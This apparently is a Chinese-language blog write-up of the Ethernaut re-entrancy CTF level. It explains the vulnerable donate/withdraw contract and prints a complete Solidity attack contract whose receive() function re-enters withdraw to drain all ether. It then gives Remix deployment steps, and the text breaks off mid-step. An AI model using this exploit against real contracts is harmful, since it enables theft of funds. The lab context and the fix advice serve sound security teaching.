{"id":3317,"date":"2025-11-11T17:17:00","date_gmt":"2025-11-11T09:17:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=3317"},"modified":"2026-11-11T21:14:27","modified_gmt":"2026-11-11T13:14:27","slug":"ctf-re-entrancy","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/3317","title":{"rendered":"CTF Re-entrancy"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u95dc\u7684\u6838\u5fc3\u65e8\u5728\u63ed\u793a Solidity \u4e2d\u6700\u60e1\u540d\u662d\u5f70\u7684\u6f0f\u6d1e\u4e4b\u4e00\uff1a\u91cd\u5165\u653b\u64ca\uff08Re-entrancy\uff09\u3002\u6b77\u53f2\u4e0a\u8457\u540d\u7684 The DAO \u4e8b\u4ef6\u5c31\u662f\u56e0\u70ba\u9019\u500b\u6f0f\u6d1e\uff0c\u5c0e\u81f4\u50f9\u503c\u6578\u5343\u842c\u7f8e\u5143\u7684\u4ee5\u592a\u5e63\u88ab\u99ed\u5ba2\u76dc\u8d70\uff0c\u751a\u81f3\u76f4\u63a5\u5c0e\u81f4\u4e86\u4ee5\u592a\u574a\u7684\u786c\u5206\u53c9\uff08Ethereum \u8207 Ethereum Classic \u7684\u8a95\u751f\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8a31\u591a\u958b\u767c\u8005\u5728\u64b0\u5beb\u5408\u7d04\u6642\uff0c\u7fd2\u6163\u4f9d\u7167\u76f4\u89ba\u300c\u5148\u767c\u9001\u8cc7\u91d1\uff0c\u518d\u66f4\u65b0\u9918\u984d\u300d\u3002\u4f46\u5be6\u969b\u4e0a\uff0c\u5728\u547c\u53eb\u5916\u90e8\u5408\u7d04\u767c\u9001\u8cc7\u91d1\u6642\uff0c\u7a0b\u5f0f\u7684\u63a7\u5236\u6b0a\u6703\u66ab\u6642\u8f49\u79fb\u7d66\u5c0d\u65b9\u3002\u9019\u9053\u984c\u76ee\u5e36\u7d66\u958b\u767c\u8005\u6700\u91cd\u8981\u7684\u8cc7\u5b89\u6559\u8a13\u662f\uff0c\u5728\u8655\u7406\u4ee5\u592a\u5e63\u8f49\u5e33\u6642\uff0c\u5fc5\u9808\u56b4\u683c\u9075\u5b88\u300c\u6aa2\u67e5-\u751f\u6548-\u4e92\u52d5\uff08Checks-Effects-Interactions\uff09\u300d\u6a21\u5f0f\uff08\u5373\u5148\u6263\u9664\u9918\u984d\uff0c\u6700\u5f8c\u518d\u767c\u9001\u8cc7\u91d1\uff09\uff0c\u6216\u662f\u4f7f\u7528\u9632\u91cd\u5165\u9396\uff08ReentrancyGuard\uff09\u4f86\u9632\u79a6\u6b64\u985e\u653b\u64ca\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u984c\u76ee\u4f4d\u7f6e\uff1a<a href=\"https:\/\/ethernaut.openzeppelin.com\/level\/10\" target=\"_blank\" rel=\"noopener\">https:\/\/ethernaut.openzeppelin.com\/level\/10<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u984c\u76ee\u8aaa\u660e<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u95dc\u6703\u7d66\u4f60\u4e00\u500b\u540d\u70ba <code>Reentrance<\/code> \u7684\u667a\u80fd\u5408\u7d04\u5be6\u4f8b\uff0c\u9019\u662f\u4e00\u500b\u7c21\u55ae\u7684\u6350\u6b3e\u5e73\u53f0\uff0c\u5141\u8a31\u4f7f\u7528\u8005\u6350\u6b3e\u8207\u63d0\u6b3e\u3002\u73a9\u5bb6\u7684\u552f\u4e00\u76ee\u6a19\u662f\uff1a\u5229\u7528\u6f0f\u6d1e\uff0c\u5c07\u5408\u7d04\u88e1\u6240\u6709\u7684\u8cc7\u91d1\uff08\u4ee5\u592a\u5e63\uff09\u5168\u90e8\u5077\u8d70\uff0c\u8b93\u5408\u7d04\u9918\u984d\u6b78\u96f6\u3002\u5408\u7d04\u5167\u5bb9\u5982\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ SPDX-License-Identifier: MIT\npragma solidity ^0.6.12;\n\nimport \"openzeppelin-contracts-06\/math\/SafeMath.sol\";\n\ncontract Reentrance {\n    using SafeMath for uint256;\n\n    mapping(address => uint256) public balances;\n\n    function donate(address _to) public payable {\n        balances&#91;_to] = balances&#91;_to].add(msg.value);\n    }\n\n    function balanceOf(address _who) public view returns (uint256 balance) {\n        return balances&#91;_who];\n    }\n\n    function withdraw(uint256 _amount) public {\n        if (balances&#91;msg.sender] >= _amount) {\n            (bool result,) = msg.sender.call{value: _amount}(\"\");\n            if (result) {\n                _amount;\n            }\n            balances&#91;msg.sender] -= _amount;\n        }\n    }\n\n    receive() external payable {}\n}<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u4ee3\u78bc\u89e3\u8aaa<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u72c0\u614b\u8b8a\u6578 <\/strong><\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\"><\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>mapping(address => uint256) public balances;<\/code>\uff1a\u5ba3\u544a\u4e00\u500b\u6620\u5c04\uff08mapping\uff09\uff0c\u7528\u4f86\u8a18\u9304\u6bcf\u4e00\u500b\u5730\u5740\u5728\u9019\u500b\u5408\u7d04\u88e1\u5b58\u4e86\uff08\u6216\u6350\u4e86\uff09\u591a\u5c11\u9322\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6350\u6b3e\u8207\u67e5\u8a62\u51fd\u6578<\/strong><\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\"><\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>function donate(address _to) public payable<\/code>\uff1a\u9019\u662f\u4e00\u500b\u5141\u8a31\u63a5\u6536\u4ee5\u592a\u5e63\uff08<code>payable<\/code>\uff09\u7684\u516c\u958b\u65b9\u6cd5\uff0c\u547c\u53eb\u6642\u9644\u5e36\u7684\u91d1\u984d\u6703\u88ab\u52a0\u5230 <code>_to<\/code> \u9019\u500b\u5730\u5740\u7684\u9918\u984d\u7d00\u9304\u4e2d\u3002<\/li>\n\n\n\n<li><code>function balanceOf(address _who) public view returns (uint256 balance)<\/code>\uff1a\u7528\u4f86\u67e5\u8a62\u67d0\u500b\u7279\u5b9a\u5730\u5740\u76ee\u524d\u5728\u5408\u7d04\u4e2d\u7684\u9918\u984d\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u63d0\u6b3e\u51fd\u6578 <\/strong><\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\"><\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>function withdraw(uint256 _amount) public<\/code>\uff1a\u5141\u8a31\u4f7f\u7528\u8005\u63d0\u9818\u81ea\u5df1\u5e33\u6236\u5167\u7684\u8cc7\u91d1\u3002<\/li>\n\n\n\n<li><code>if (balances[msg.sender] >= _amount)<\/code>\uff1a\u9996\u5148\uff0c\u5408\u7d04\u6703\u6aa2\u67e5\u63d0\u6b3e\u4eba\uff08<code>msg.sender<\/code>\uff09\u5e33\u9762\u4e0a\u7684\u9918\u984d\u662f\u5426\u5927\u65bc\u6216\u7b49\u65bc\u60f3\u8981\u63d0\u9818\u7684\u91d1\u984d\u3002<\/li>\n\n\n\n<li><code>(bool result,) = msg.sender.call{value: _amount}(\"\");<\/code>\uff1a\u9019\u662f\u5408\u7d04\u4e2d\u6700\u5371\u96aa\u7684\u4e00\u884c\u3002\u5408\u7d04\u4f7f\u7528\u5e95\u5c64\u7684 <code>call<\/code> \u65b9\u6cd5\uff0c\u5c07\u6307\u5b9a\u91d1\u984d\u7684\u4ee5\u592a\u5e63\u767c\u9001\u7d66\u547c\u53eb\u8005\u3002\n<ul class=\"wp-block-list\">\n<li><code>(bool result,)<\/code>\uff1a\u524d\u9762\u662f\u5e03\u6797\u503c (Boolean)\uff1a\u5982\u679c\u8f49\u5e33\u6210\u529f\u5c31\u662f <code>true<\/code>\uff0c\u5982\u679c\u5c0d\u65b9\u62d2\u7d55\u63a5\u6536\u6216\u767c\u751f\u932f\u8aa4\u5c31\u662f <code>false<\/code>\uff0c\u6211\u5011\u628a\u5b83\u547d\u540d\u70ba <code>result<\/code>\u3002\u9017\u865f\u5f8c\u9762\u662f\u4f4d\u5143\u7d44\u8cc7\u6599\uff0c\u5982\u679c\u5c0d\u65b9\u6709\u56de\u50b3\u4efb\u4f55\u932f\u8aa4\u8a0a\u606f\u6216\u8cc7\u6599\uff0c\u6703\u653e\u5728\u9019\u88e1\uff0c\u4f46\u56e0\u70ba\u662f\u7a7a\u7684\uff0c\u9019\u4ee3\u8868\u958b\u767c\u8005\u544a\u8a34\u7cfb\u7d71\uff0c\u4e0d\u7ba1\u5c0d\u65b9\u56de\u50b3\u4e86\u4ec0\u9ebc\u8cc7\u6599\uff0c\u90fd\u76f4\u63a5\u4e1f\u6389\u3002<\/li>\n\n\n\n<li><strong><code>msg.sender<\/code><\/strong>\uff1a\u4ee3\u8868\u547c\u53eb\u9019\u500b\u51fd\u6578\u7684\u4eba \u3002<\/li>\n\n\n\n<li><strong><code>.call<\/code><\/strong>\uff1a\u9019\u662f Solidity \u7684\u300c\u4f4e\u968e\u547c\u53eb\u300d\u6307\u4ee4\u3002\u5b83\u53ef\u4ee5\u5c0d\u76ee\u6a19\u767c\u51fa\u6307\u4ee4\uff0c\u6216\u55ae\u7d14\u7528\u4f86\u8f49\u5e33\u3002<\/li>\n\n\n\n<li><strong><code>{value: _amount}<\/code><\/strong>\uff1a\u5927\u62ec\u865f\u88e1\u9762\u653e\u7684\u662f\u9019\u7b46\u4ea4\u6613\u8981\u593e\u5e36\u7684\u4ee5\u592a\u5e63\u6578\u91cf\u3002<\/li>\n\n\n\n<li><strong><code>(\"\")<\/code><\/strong>\uff1a\u5c0f\u62ec\u865f\u88e1\u9762\u653e\u7684\u662f\u8981\u547c\u53eb\u7684\u300c\u51fd\u6578\u540d\u7a31\uff08Data Payload\uff09\u300d\u3002\u56e0\u70ba\u9019\u88e1\u662f\u7a7a\u5b57\u4e32 <code>\"\"<\/code>\uff0c\u4ee3\u8868\u300c\u6211\u6c92\u6709\u8981\u547c\u53eb\u4efb\u4f55\u7279\u5b9a\u51fd\u6578\uff0c\u6211\u53ea\u662f\u8981\u55ae\u7d14\u585e\u9322\u7d66\u4f60\u300d\u3002<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><code>if (result) {  _amount;  }<\/code>\uff1a\u5982\u679c\u525b\u525b\u7684\u8f49\u5e33\u6210\u529f\u4e86\uff08<code>result == true<\/code>\uff09\uff0c\u7e7c\u7e8c\u57f7\u884c\u5927\u62ec\u865f <code>{ ... }<\/code> \u88e1\u9762\u7684\u52d5\u4f5c\uff0c\u4f46<code>_amount<\/code>\u662f\u7121\u6548\u7a0b\u5f0f\u78bc\uff0c\u4e3b\u8981\u662f\u70ba\u4e86\u907f\u958b\u4e00\u4e9b\u6aa2\u67e5\uff0c\u53ef\u4ee5\u4e0d\u7ba1\u4ed6\u3002<\/li>\n\n\n\n<li><code>balances[msg.sender] -= _amount;<\/code>\uff1a\u5728\u6210\u529f\u767c\u9001\u8cc7\u91d1\u4e4b\u5f8c\uff0c\u5408\u7d04\u624d\u5c07\u63d0\u6b3e\u4eba\u7684\u5e33\u9762\u9918\u984d\u6263\u9664\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u5408\u7d04\u4e92\u52d5<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728chrome\u7684<code>Tools > Developer Tools<\/code>\u53ef\u4ee5\u76f4\u63a5\u548c\u667a\u80fd\u5408\u7d04\u4e92\u52d5\uff0c\u5982\u4e0b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u8a62donate\u72c0\u6cc1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>> await getBalance(instance) \n'0.001'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">donate 0.001\uff0c \u53ef\u4ee5\u767c\u73fe\u5b58\u6b3e\u8b8a\u591a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>> await contract.donate(player, { value: toWei(\"0.001\") })\n> await getBalance(instance) \n'0.002'<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">\u6f0f\u6d1e\u5206\u6790<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 Solidity \u4e2d\uff0c\u7576\u5408\u7d04\u900f\u904e <code>call<\/code> \u767c\u9001\u4ee5\u592a\u5e63\u7d66\u53e6\u4e00\u500b\u667a\u80fd\u5408\u7d04\u6642\uff0c\u63a5\u6536\u65b9\u5408\u7d04\u7684 <code>receive()<\/code> \u6216 <code>fallback()<\/code> \u51fd\u6578\u6703\u88ab\u81ea\u52d5\u89f8\u767c\u57f7\u884c\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u9019\u500b <code>Reentrance<\/code> \u5408\u7d04\u7684 <code>withdraw<\/code> \u51fd\u6578\u4e2d\uff0c\u81f4\u547d\u50b7\u5728\u65bc\u5b83\u300c\u5148\u767c\u9001\u8cc7\u91d1\uff0c\u5f8c\u6263\u9664\u9918\u984d\u300d\u3002 \u9019\u610f\u5473\u8457\uff0c\u5982\u679c\u653b\u64ca\u8005\uff08\u99ed\u5ba2\uff09\u64b0\u5beb\u4e00\u500b\u60e1\u610f\u5408\u7d04\u53bb\u547c\u53eb <code>withdraw()<\/code>\uff0c\u7576\u9776\u6a5f\u5408\u7d04\u57f7\u884c <code>call<\/code> \u8f49\u5e33\u7d66\u60e1\u610f\u5408\u7d04\u6642\uff0c\u60e1\u610f\u5408\u7d04\u7684 <code>receive()<\/code> \u51fd\u6578\u6703\u88ab\u89f8\u767c\u3002\u6b64\u6642\uff0c\u56e0\u70ba\u9776\u6a5f\u5408\u7d04\u9084\u6c92\u57f7\u884c\u5230 <code>balances[msg.sender] -= _amount;<\/code> \u9019\u884c\u6263\u6b3e\u908f\u8f2f\uff0c\u6240\u4ee5\u5728\u9776\u6a5f\u7684\u5e33\u672c\u88e1\uff0c\u653b\u64ca\u8005\u7684\u9918\u984d\u4f9d\u820a\u662f\u6eff\u7684\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u64ca\u8005\u53ea\u8981\u5728\u81ea\u5df1\u7684 <code>receive()<\/code> \u51fd\u6578\u4e2d\uff0c\u518d\u6b21\u547c\u53eb\u9776\u6a5f\u7684 <code>withdraw()<\/code> \u51fd\u6578\uff0c\u5c31\u6703\u9020\u6210\u300c\u91cd\u5165\uff08Re-entrancy\uff09\u300d\u3002\u9019\u500b\u904e\u7a0b\u6703\u50cf\u7121\u9650\u8ff4\u5708\u4e00\u6a23\uff0c\u4e0d\u65b7\u5730\u300c\u8f49\u5e33 -> \u89f8\u767c\u60e1\u610f\u5408\u7d04 ->\u518d\u6b21\u8981\u6c42\u63d0\u6b3e -> \u518d\u6b21\u8f49\u5e33\u300d\uff0c\u76f4\u5230\u9776\u6a5f\u5408\u7d04\u88e1\u7684\u8cc7\u91d1\u88ab\u5b8c\u5168\u69a8\u4e7e\u70ba\u6b62\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u89e3\u7b54\u6b65\u9a5f<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u95dc\u7121\u6cd5\u55ae\u7d14\u9760\u7db2\u9801\u63a7\u5236\u53f0\u5b8c\u6210\uff0c\u9700\u8981\u64b0\u5beb\u4e26\u90e8\u7f72\u4e00\u500b\u60e1\u610f\u5408\u7d04\u4f86\u9032\u884c\u653b\u64ca\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. \u6e96\u5099\u653b\u64ca\u5408\u7d04 : <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u65b0\u5efa\u4e00\u500b\u540d\u70ba <code>Attack.sol<\/code> \u7684\u6a94\u6848\uff0c\u8cbc\u4e0a\u4ee5\u4e0b\u7a0b\u5f0f\u78bc\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IReentrance {\n    function donate(address _to) external payable;\n    function withdraw(uint _amount) external;\n}\n\ncontract Attack {\n    IReentrance public target;\n    uint public amount = 0.001 ether;\n\n    constructor(address _targetAddress) {\n        target = IReentrance(_targetAddress);\n    }\n\n    function attack() external payable {\n        require(msg.value >= amount, \"Need some ETH\");\n        target.donate{value: amount}(address(this));\n        target.withdraw(amount);\n    }\n\n    receive() external payable {\n        uint targetBalance = address(target).balance;\n        if (targetBalance > 0) {\n            target.withdraw(amount &lt;= targetBalance ? amount : targetBalance);\n        }\n    }\n}\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2.\u4ee3\u78bc\u89e3\u8aaa<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u4ecb\u9762\u8207\u8b8a\u6578 (Interface &amp; Variables)<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>interface IReentrance {\n    function donate(address _to) external payable;\n    function withdraw(uint _amount) external;\n}\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>interface<\/code> (\u4ecb\u9762)\uff1a\u9019\u662f\u9776\u6a5f\u7684\u8aaa\u660e\u66f8\u3002\u56e0\u70ba\u4f60\u7684\u653b\u64ca\u5408\u7d04\u539f\u672c\u4e0d\u8a8d\u8b58\u9776\u6a5f\uff0c\u900f\u904e\u5b9a\u7fa9\u4ecb\u9762\uff0c\u653b\u64ca\u5408\u7d04\u624d\u77e5\u9053\u9776\u6a5f\u8eab\u4e0a\u6709 <code>donate<\/code> \u548c <code>withdraw<\/code> \u9019\u5169\u500b\u6309\u9215\u53ef\u4ee5\u6309\uff0c\u4ee5\u53ca\u547c\u53eb\u5b83\u5011\u6642\u9700\u8981\u5e36\u5165\u4ec0\u9ebc\u53c3\u6578\u3002<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>IReentrance public target;\nuint public amount = 0.001 ether;\n\nconstructor(address _targetAddress) {\n    target = IReentrance(_targetAddress);\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>target<\/code><\/strong>\uff1a\u7528\u4f86\u5132\u5b58\u9776\u6a5f\u7684\u5730\u5740\uff0c\u4e26\u5c07\u5176\u5305\u88dd\u6210\u4e0a\u9762\u5b9a\u7fa9\u7684 <code>IReentrance<\/code> \u4ecb\u9762\uff0c\u65b9\u4fbf\u5f8c\u7e8c\u76f4\u63a5\u547c\u53eb\u3002<\/li>\n\n\n\n<li><strong><code>amount<\/code><\/strong>\uff1a\u8a2d\u5b9a\u6bcf\u6b21\u62bd\u6c34\u7684\u300c\u7ba1\u5f91\u300d\u3002\u8a2d\u5b9a\u70ba 0.001 ETH \u662f\u56e0\u70ba\u9776\u6a5f\u9810\u8a2d\u88e1\u9762\u6709 0.001 ETH\uff0c\u52a0\u4e0a\u4f60\u653b\u64ca\u6642\u5e36\u5165\u7684 0.001 ETH\uff0c\u7e3d\u5171 0.002 ETH\uff0c\u6bcf\u6b21\u62bd 0.001 \u525b\u597d\u53ef\u4ee5\u89f8\u767c\u591a\u6b21\u8ff4\u5708\u3002<\/li>\n\n\n\n<li><strong><code>constructor<\/code><\/strong>\uff1a\u5728\u4f60\u6309\u4e0b Remix \u7684 Deploy \u6642\u57f7\u884c\uff0c\u628a\u9776\u6a5f\u7684\u5be6\u4f8b\u5730\u5740\u7d81\u5b9a\u5230\u5408\u7d04\u4e0a\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u9ede\u706b\u958b\u95dc\uff1a<code>attack()<\/code> \u51fd\u6578<\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>function attack() external payable {\n    require(msg.value &gt;= amount, \"Need some ETH\");\n    \n    target.donate{value: amount}(address(this));\n    target.withdraw(amount);\n}\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><code>require<\/code><\/strong>\uff1a\u5b89\u5168\u6aa2\u67e5\uff0c\u78ba\u4fdd\u4f60\u6309 <code>attack<\/code> \u6642\uff0c Value \u6b04\u4f4d\u5927\u65bc 0.001 ETH \u7576\u4f5c\u5b50\u5f48\u3002<\/li>\n\n\n\n<li><strong><code>target.donate...<\/code> <\/strong>\uff1a\u653b\u64ca\u5408\u7d04\u5e36\u8457\u9019 0.001 ETH \u547c\u53eb\u9776\u6a5f\u7684 <code>donate<\/code>\u3002\u9776\u6a5f\u6703\u5728\u5b83\u7684\u5e33\u672c\u4e0a\u8a18\u9304\uff1a<code>balances[\u653b\u64ca\u5408\u7d04] = 0.001 ETH<\/code>\u3002\u6709\u4e86\u9019\u7b46\u5e33\u9762\u9918\u984d\uff0c\u624d\u80fd\u9a19\u904e\u9776\u6a5f\u7684\u63d0\u6b3e\u6aa2\u67e5\u3002<\/li>\n\n\n\n<li><strong><code>target.withdraw(amount)<\/code><\/strong>\uff1a\u7acb\u523b\u5411\u9776\u6a5f\u8981\u6c42\u63d0\u6b3e 0.001 ETH\u3002\u9019\u6703\u89f8\u767c\u9776\u6a5f\u628a\u9322\u8f49\u7d66\u6211\u5011\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u7121\u7aae\u8ff4\u5708\u9677\u9631\uff1a<code>receive()<\/code> \u51fd\u6578<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u662f\u91cd\u5165\u653b\u64ca\u7684\u771f\u6b63\u6838\u5fc3\u3002\u9019\u662f\u4e00\u500b\u7279\u6b8a\u7684\u5167\u5efa\u51fd\u6578\uff0c\u7576\u4efb\u4f55\u4eba\uff08\u5305\u542b\u9776\u6a5f\uff09\u55ae\u7d14\u8f49\u5e33 ETH \u7d66\u9019\u500b\u5408\u7d04\u6642\uff0c\u9019\u500b\u51fd\u6578\u5c31\u6703\u88ab\u300c\u81ea\u52d5\u89f8\u767c\u300d\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>receive() external payable {\n    uint targetBalance = address(target).balance;\n    if (targetBalance > 0) {\n        target.withdraw(amount &lt;= targetBalance ? amount : targetBalance);\n    }\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u89f8\u767c\u6642\u6a5f<\/strong>\uff1a\u7576\u9776\u6a5f\u5728\u56de\u61c9\u4e0a\u9762\u7684 <code>target.withdraw<\/code>\uff0c\u4e26\u4f7f\u7528 <code>.call{value: 0.001 ether}(\"\")<\/code> \u628a\u9322\u767c\u9001\u7d66\u4f60\u7684\u5408\u7d04\u6642\uff0c\u9019\u6bb5\u7a0b\u5f0f\u78bc\u6703\u77ac\u9593\u4ecb\u5165\u63a5\u7ba1\u63a7\u5236\u6b0a\u3002<\/li>\n\n\n\n<li><strong><code>targetBalance<\/code><\/strong>\uff1a\u653b\u64ca\u5408\u7d04\u5148\u5077\u770b\u4e00\u4e0b\u9776\u6a5f\u7684\u91d1\u5eab\u88e1\u9084\u5269\u591a\u5c11\u9322\u3002<\/li>\n\n\n\n<li><strong><code>if (targetBalance > 0)<\/code><\/strong>\uff1a\u53ea\u8981\u9776\u6a5f\u9084\u6c92\u88ab\u62bd\u4e7e\uff0c\u5c31\u7e7c\u7e8c\u653b\u64ca\u3002<\/li>\n\n\n\n<li>\u518d\u6b21\u547c\u53eb <code>target.withdraw(...)<\/code>\uff1a\u9019\u662f\u6700\u81f4\u547d\u7684\u4e00\u64ca\u3002\u56e0\u70ba\u9776\u6a5f\u9084\u6c92\u57f7\u884c\u5230\u300c\u6263\u9664\u6211\u5011\u5e33\u9762\u9918\u984d\u300d\u7684\u7a0b\u5f0f\u78bc\uff08\u9776\u6a5f\u5361\u5728\u767c\u9001 ETH \u90a3\u4e00\u6b65\uff09\uff0c\u6240\u4ee5\u7576\u6211\u5011\u7b2c\u4e8c\u6b21\u8981\u6c42\u63d0\u6b3e\u6642\uff0c\u9776\u6a5f\u4f9d\u7136\u4ee5\u70ba\u6211\u5011\u6709 0.001 ETH \u7684\u984d\u5ea6\uff0c\u65bc\u662f\u53c8\u50bb\u50bb\u5730\u628a\u9322\u8f49\u904e\u4f86\u3002<\/li>\n\n\n\n<li>\u4e09\u5143\u904b\u7b97\u5b50 <code>? :<\/code>\uff1a\u9019\u662f\u4e00\u500b\u9632\u5446\u6a5f\u5236\u3002\u610f\u601d\u662f\u300c\u5982\u679c\u9776\u6a5f\u9918\u984d\u5927\u65bc\u7b49\u65bc 0.001\uff0c\u5c31\u63d0\u6b3e 0.001\uff1b\u5982\u679c\u9776\u6a5f\u9918\u984d\u5269\u4e0b\u4e0d\u5230 0.001\uff08\u4f8b\u5982\u5269 0.0005\uff09\uff0c\u90a3\u5c31\u628a\u5269\u4e0b\u7684\u96f6\u982d\u5168\u90e8\u63d0\u5149\u300d\u3002\u9019\u80fd\u9632\u6b62\u6700\u5f8c\u4e00\u6b21\u63d0\u6b3e\u56e0\u70ba\u91d1\u984d\u4e0d\u8db3\u800c\u5c0e\u81f4\u6574\u7b46\u4ea4\u6613\u5931\u6557 (Revert)\u3002<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">\u5b8c\u6574\u653b\u64ca\u5408\u7d04\u6d41\u7a0b <\/h4>\n\n\n\n<p class=\"wp-block-paragraph\">\u9019\u6bb5\u653b\u64ca\u5728\u5340\u584a\u93c8\u4e0a\u662f\u5728\u96f6\u9ede\u5e7e\u79d2\u5167\u7684\u4e00\u7b46\u4ea4\u6613\u4e2d\u77ac\u9593\u5b8c\u6210\u7684\uff1a<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li>\u4f60\u547c\u53eb <code>attack()<\/code>  ->  \u6350\u6b3e 0.001  ->  \u8981\u6c42\u63d0\u6b3e 0.001\u3002<\/li>\n\n\n\n<li>\u9776\u6a5f\u6aa2\u67e5\u4f60\u6709\u9918\u984d  ->  \u8f49\u51fa 0.001 \u7d66\u4f60\u3002<\/li>\n\n\n\n<li>\u4f60\u7684 <code>receive()<\/code> \u88ab\u89f8\u767c  ->  \u767c\u73fe\u9776\u6a5f\u9084\u6709\u9322  ->  \u518d\u6b21\u8981\u6c42\u63d0\u6b3e 0.001\u3002<\/li>\n\n\n\n<li>\u9776\u6a5f\uff08\u9084\u6c92\u6263\u9664\u4f60\u7684\u9918\u984d\uff09\u6aa2\u67e5\u767c\u73fe\u4f60\u9084\u6709\u9918\u984d  ->  \u53c8\u8f49\u51fa 0.001 \u7d66\u4f60\u3002<\/li>\n\n\n\n<li>\u4f60\u7684 <code>receive()<\/code> \u518d\u6b21\u88ab\u89f8\u767c  ->  \u518d\u6b21\u8981\u6c42\u63d0\u6b3e 0.001\u3002<\/li>\n\n\n\n<li>\u9776\u6a5f\u4e0d\u65b7\u8f49\u9322\uff0c\u76f4\u5230\u91d1\u5eab\u6b78\u96f6\u3002<\/li>\n\n\n\n<li>\u60e1\u610f\u5408\u7d04\u7684 <code>if (targetBalance > 0)<\/code> \u689d\u4ef6\u4e0d\u6210\u7acb\uff0c\u505c\u6b62\u8ff4\u5708\u3002<\/li>\n\n\n\n<li>\u9776\u6a5f\u9019\u624d\u6162\u541e\u541e\u5730\u958b\u59cb\u57f7\u884c\u5b83\u7a0b\u5f0f\u78bc\u5f8c\u9762\u7684 <code>balances -= _amount<\/code>\uff0c\u4f46\u91d1\u5eab\u65e9\u5c31\u5df2\u7d93\u88ab\u4f60\u638f\u7a7a\u4e86\u3002<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. \u90e8\u7f72\u60e1\u610f\u5408\u7d04\u4e26\u57f7\u884c\u653b\u64ca<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5728 Remix \u5de6\u5074\u7684 Deploy \u9801\u7c64\u4e2d\uff0c\u74b0\u5883\uff08Environment\uff09\u9078\u64c7 Injected Provider &#8211; MetaMask\u3002<\/li>\n\n\n\n<li>\u5728 Deploy \u6b04\u4f4d\u65c1\u50b3\u5165\u4f60\u525b\u525b\u5728\u63a7\u5236\u53f0\u53d6\u5f97\u7684\u9776\u6a5f\u5408\u7d04\u5730\u5740\uff08instance\u7684\u5730\u5740\uff09\uff0c\u9ede\u64ca Deploy \u90e8\u7f72\u60e1\u610f\u5408\u7d04\u3002\u90e8\u7f72\u5b8c\u6210\u5f8c\uff0c\u5047\u8a2d\u4f48\u7f72\u5b8c\u7684\u653b\u64ca\u5408\u7d04\u70ba<code>0x4c9c7ad14dD32C56202e7d7A98c2cdf7520d8583<\/code><\/li>\n\n\n\n<li>\u5728\u57f7\u884c\u51fd\u6578\u7684\u5730\u65b9\uff0c\u628aValue \u6b04\u4f4d\u8a2d\u5b9a\u70ba <code>1<\/code> <code>Finney<\/code>\uff08\u7b49\u540c\u65bc 0.001 Ether\uff0c\u9019\u662f\u6211\u5011\u767c\u52d5\u653b\u64ca\u9700\u8981\u7684\u521d\u59cb\u8cc7\u91d1\uff09\uff0c\u89f8\u767c attack \u51fd\u6578 